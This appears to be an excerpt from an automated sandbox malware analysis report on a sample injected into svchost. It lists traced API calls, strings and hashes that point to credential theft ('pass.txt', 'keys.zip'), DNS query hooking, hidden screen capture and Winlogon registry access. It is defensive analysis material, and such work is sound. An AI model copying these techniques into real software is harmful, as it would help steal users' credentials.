                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D23AB5
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D23ABC
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D23B90,00000000,00000000,00000000), ref: 02D23B25
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D23B3D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D23B4E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashCreateErrorHandleLast$AdminCloseDirectoryFolderInformationMakeSystemThreadUser
                                                                                                                                                                                                            • String ID: pass.txt$\t
                                                                                                                                                                                                            • API String ID: 3876079015-548412112
                                                                                                                                                                                                            • Opcode ID: d6a260ef20fdf1b9b4542df66d2cde180e6ade8b037d2ce538fc1d3e16112641
                                                                                                                                                                                                            • Instruction ID: d663e2e549b17ea84effe52176c2d9460b454657bf48d64bab261a0202c51cc4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d6a260ef20fdf1b9b4542df66d2cde180e6ade8b037d2ce538fc1d3e16112641
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 08410438A442699BDB20DF24E858BEA7BE9EF29304F1444D4EC86D7340DB70DD58CBA0
                                                                                                                                                                                                            Function 02D23A17 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 116threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D19C), ref: 02D23A40
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D19C), ref: 02D23A7D
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D23A92
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D23A9C
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D23AA4
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D23AB5
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D23ABC
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D23B90,00000000,00000000,00000000), ref: 02D23B25
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D23B3D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D23B4E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashCreateErrorHandleLast$AdminCloseDirectoryFolderInformationMakeSystemThreadUser
                                                                                                                                                                                                            • String ID: pass.txt$\t
                                                                                                                                                                                                            • API String ID: 3876079015-548412112
                                                                                                                                                                                                            • Opcode ID: a2fb8580befb9e85edddcd4236bb3a31f1ef55bdd2c854f58ecab3ba16d109f6
                                                                                                                                                                                                            • Instruction ID: 7cddc19d7174ef1f91506eadb8f4f9bc2c5492f2e4dbb48c5bfe78b1ff0f4ce5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a2fb8580befb9e85edddcd4236bb3a31f1ef55bdd2c854f58ecab3ba16d109f6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5841D239A442659BDB20DF24E858BEA7BE9EF69304F144494EC86D7340DB70DD58CB60
                                                                                                                                                                                                            Function 02D10140 Relevance: 21.1, APIs: 14, Instructions: 109memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,?,?,02D1043D,00000001), ref: 02D1016B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D1016E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?), ref: 02D1017B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D1017E
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00000000,00000001,00000000,?,?,02D1043D,00000001), ref: 02D10197
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101A8
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,?,?,02D1043D,00000001), ref: 02D101B8
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101BB
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?), ref: 02D101C8
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101CB
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,?,?,02D1043D,00000001), ref: 02D101DB
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101DE
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?), ref: 02D101EB
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101EE
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate$Handle$CloseInformation
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2935687291-0
                                                                                                                                                                                                            • Opcode ID: 3b45a539af02de9b9aba151a95e7f314b3acf1be0537891f15ba58babde8a5c2
                                                                                                                                                                                                            • Instruction ID: 8db065eb1094aa2cbd0220c6c1b2936773c1b3ba2de016458b93bba0e1729427
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3b45a539af02de9b9aba151a95e7f314b3acf1be0537891f15ba58babde8a5c2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9D31A375A412107BDB64AFA1B888F5B7BD8EF45726F548416ED08D7740CB74DC90CAA0
                                                                                                                                                                                                            Function 02D24B30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 82memoryregistryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000101,?), ref: 02D24B60
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110), ref: 02D24B79
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D24B7C
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D24B90
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,Shell,00000000,00000001,00000000,00000104), ref: 02D24BB0
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D24BC0
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D24BD1
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D24BD4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D24BE1
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D24BE4
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Software\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 02D24B45
                                                                                                                                                                                                            • Shell, xrefs: 02D24BAA
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$AllocCloseFreeOpenQueryValidateValuememset
                                                                                                                                                                                                            • String ID: Shell$Software\Microsoft\Windows NT\CurrentVersion\Winlogon
                                                                                                                                                                                                            • API String ID: 2162099866-2454539505
                                                                                                                                                                                                            • Opcode ID: 5a0d35eb4ef54bce1d36017ee8fe6e78ac3a24e15fa6249baad7f095c614bc0f
                                                                                                                                                                                                            • Instruction ID: c29be3df73e9826a642b5b121638384458f16f2d69eb91f6d8899c1406eec40e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5a0d35eb4ef54bce1d36017ee8fe6e78ac3a24e15fa6249baad7f095c614bc0f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3D21C379E812247BEB209EA4AC49F9FBBACEF55B59F100545FD08E7340DAB09D14C6E0
                                                                                                                                                                                                            Function 02D1EA80 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 56sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}), ref: 02D1EA9C
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D1EAB2
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}), ref: 02D1EAC0
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1EAC9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D1EAE1
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1EAF3
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c59043a), ref: 02D1EAFE
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5c59043a,CRAIF), ref: 02D1EB18
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Mutex$HandleOpenSleep$BackslashCloseInformationPathRelease
                                                                                                                                                                                                            • String ID: 5c59043a$CRAIF$Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}$\t
                                                                                                                                                                                                            • API String ID: 849374196-2632522190
                                                                                                                                                                                                            • Opcode ID: 09b8ae951ca7262d2879b428215ce0108eb852953e8eda3ff21ac52b1d185e4b
                                                                                                                                                                                                            • Instruction ID: 7654d419ffa520479821cdcc79b040bdcc5ce89e834d73045659a24df648266d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 09b8ae951ca7262d2879b428215ce0108eb852953e8eda3ff21ac52b1d185e4b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2501F935EC47243BF2119BA07C89F5EB3C8AF04B54F544505FE05963C09BF0AC148AA5
                                                                                                                                                                                                            Function 02D06070 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 53libraryloadernetworkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D06070
                                                                                                                                                                                                            • DnsFlushResolverCache.DNSAPI ref: 02D0607A
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(Dnsapi.dll,00000000,00000000,74E17390), ref: 02D0608A
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 02D060A3
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DnsQuery_UTF8), ref: 02D060BF
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DnsQuery_W), ref: 02D060DB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Query_Main), ref: 02D060F7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressProc$AdminCacheFlushLibraryLoadResolverUser
                                                                                                                                                                                                            • String ID: DnsQuery_A$DnsQuery_UTF8$DnsQuery_W$Dnsapi.dll$Query_Main
                                                                                                                                                                                                            • API String ID: 2466897691-3547598143
                                                                                                                                                                                                            • Opcode ID: 081b0aa99ab6cb0746704c4beae8b674aa1f40a30093c560705bb596e9f9d9ee
                                                                                                                                                                                                            • Instruction ID: fffb06120687483aa8b7b553d5e76f72d749ac93a7a087511f6b1c3266262b05
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 081b0aa99ab6cb0746704c4beae8b674aa1f40a30093c560705bb596e9f9d9ee
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6E018F35BC231673B92036727C8AF4F174D5E10E50BA40410B903B1394CED8EC2988F9
                                                                                                                                                                                                            Function 02D1C670 Relevance: 21.0, APIs: 8, Strings: 4, Instructions: 45sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}), ref: 02D1C69C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1C6A9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1C6BD
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1C6CF
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D1C6DE
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552), ref: 02D1C6E5
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5C590552,BSS), ref: 02D1C6FF
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D1C705
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationObjectOpenPathReleaseSingleWait
                                                                                                                                                                                                            • String ID: 5C590552$BSS$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}$\t
                                                                                                                                                                                                            • API String ID: 3206501308-3656192160
                                                                                                                                                                                                            • Opcode ID: de46310baa5a7078d1551ef410bf1dee71528e5103235debde93cd36da3321a7
                                                                                                                                                                                                            • Instruction ID: 52cdbaa3332e5da6f9aab64232774d6337a8ab30500302f7893fe03d1a6785fc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: de46310baa5a7078d1551ef410bf1dee71528e5103235debde93cd36da3321a7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7901DF34DD8355BBE211AF60BC09F1A3798AB09B64F604A05F952927C09BE0AC14CB6B
                                                                                                                                                                                                            Function 02D0D850 Relevance: 19.6, APIs: 13, Instructions: 113filesynchronizationmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D0D858
                                                                                                                                                                                                            • HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D869
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: GetComputerNameA.KERNEL32(02D4F588,?), ref: 02D0D7B7
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: lstrlenA.KERNEL32(02D4F588,?,?,?,02D1714F), ref: 02D0D7C2
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D802
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D812
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D822
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D82F
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D83C
                                                                                                                                                                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002939,02D4F5A0), ref: 02D0D893
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D8AC
                                                                                                                                                                                                              • Part of subcall function 02D08D30: SetThreadDesktop.USER32(?,7591F590,759116B0,00000000), ref: 02D08D3F
                                                                                                                                                                                                              • Part of subcall function 02D08D30: GetDC.USER32(00000000), ref: 02D08D47
                                                                                                                                                                                                              • Part of subcall function 02D08D30: GetDeviceCaps.GDI32(00000000,0000000A), ref: 02D08D58
                                                                                                                                                                                                              • Part of subcall function 02D08D30: GetDeviceCaps.GDI32(00000000,00000008), ref: 02D08D69
                                                                                                                                                                                                              • Part of subcall function 02D08D30: CreateCompatibleBitmap.GDI32(00000000,00000000,?), ref: 02D08D80
                                                                                                                                                                                                              • Part of subcall function 02D08D30: GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 02D08DC2
                                                                                                                                                                                                              • Part of subcall function 02D08D30: GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,00000028,00000000), ref: 02D08DD2
                                                                                                                                                                                                              • Part of subcall function 02D08D30: DeleteObject.GDI32(00000000), ref: 02D08DD5
                                                                                                                                                                                                              • Part of subcall function 02D08D30: ReleaseDC.USER32(00000000,00000000), ref: 02D08DDE
                                                                                                                                                                                                              • Part of subcall function 02D08D30: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02D08E39
                                                                                                                                                                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,02D4F54C), ref: 02D0D8D9
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D8EC
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,02D4F670,?,?,02D07F92,00000000,00000000), ref: 02D0D90A
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D91B
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,02D4F630,?,?,02D07F92,00000000,00000000), ref: 02D0D92F
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D948
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D95B
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D96E
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,02D4F5DC,?,?,02D07F92,00000000,00000000), ref: 02D0D984
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Create$wsprintf$EventFile$Mutex$BitsCapsDeviceHeapMappingView$BitmapCompatibleComputerCountDeleteDesktopFreeNameObjectReleaseThreadTicklstrlen
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2940656088-0
                                                                                                                                                                                                            • Opcode ID: 7ff7f69dd1693f6a0cf52bda3ad16fa3505a4efe5a40692b0231d7f55adb5c7c
                                                                                                                                                                                                            • Instruction ID: 4e083b07b953e536c2694319379792e3dd48b2179e26d53ac1f0bc36bc99f6ca
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7ff7f69dd1693f6a0cf52bda3ad16fa3505a4efe5a40692b0231d7f55adb5c7c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9E311574FC43127BFB205FA9AC86F152BD8AB04B10F244913B704FA3D0DBE0AC108A68
                                                                                                                                                                                                            Function 02D209E0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 139COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59061E,?,75A7BF00), ref: 02D20A10
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,?,75A7BF00), ref: 02D20A51
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,75A7BF00), ref: 02D20A5B
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D20A63
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D20A74
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000,?,75A7BF00), ref: 02D20A7B
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?,?,75A7BF00), ref: 02D20A88
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59061E,?,?,?,75A7BF00), ref: 02D20AF7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashDirectoryErrorLast$AdminCreateCurrentFolderMakeSystemUser
                                                                                                                                                                                                            • String ID: 5C59061E$keys.zip$path1.txt
                                                                                                                                                                                                            • API String ID: 1373881290-1270071694
                                                                                                                                                                                                            • Opcode ID: a284130451eb2d79ceb264162d1d27cf297738e2055e08bd9dce01f5c6db72b2
                                                                                                                                                                                                            • Instruction ID: d32ca88ac9844787223592865c8a44b6f5f2263ce3b7eb7d5d07ffa42c9080c1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a284130451eb2d79ceb264162d1d27cf297738e2055e08bd9dce01f5c6db72b2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EC412474A042654BCB21CF34A8A8AEB7BE4EFB5305F548594E8CAC7300EB70DD48CB90
                                                                                                                                                                                                            Function 02D23376 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 134synchronizationsleepfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5CF94), ref: 02D2339D
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5CF94,?,?), ref: 02D23437
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02D234A6
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02D234B3
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF777FF-8989-4fe1-977D-95CD777C0214},?,?), ref: 02D234E7
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D234F8
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D234FF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: BackslashFileMutexPath$AttributesCreateDeleteReleaseSleep
                                                                                                                                                                                                            • String ID: Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$keys.zip$keys_path.txt$\t
                                                                                                                                                                                                            • API String ID: 1512046866-2654461300
                                                                                                                                                                                                            • Opcode ID: 81e30d6aae674505dfbdacb5b45391c9bfc7f6537a24dff0a4831a7aa995c3b5
                                                                                                                                                                                                            • Instruction ID: d2b524f452c18e5670d93f91e4357cb4ec267de5eef94f4690ffd37b2ac381b7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 81e30d6aae674505dfbdacb5b45391c9bfc7f6537a24dff0a4831a7aa995c3b5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 24415A349442694FCB16CF24A8A8BEA7BE1EF65304F1486D5D889DB350DF719D49CBC0
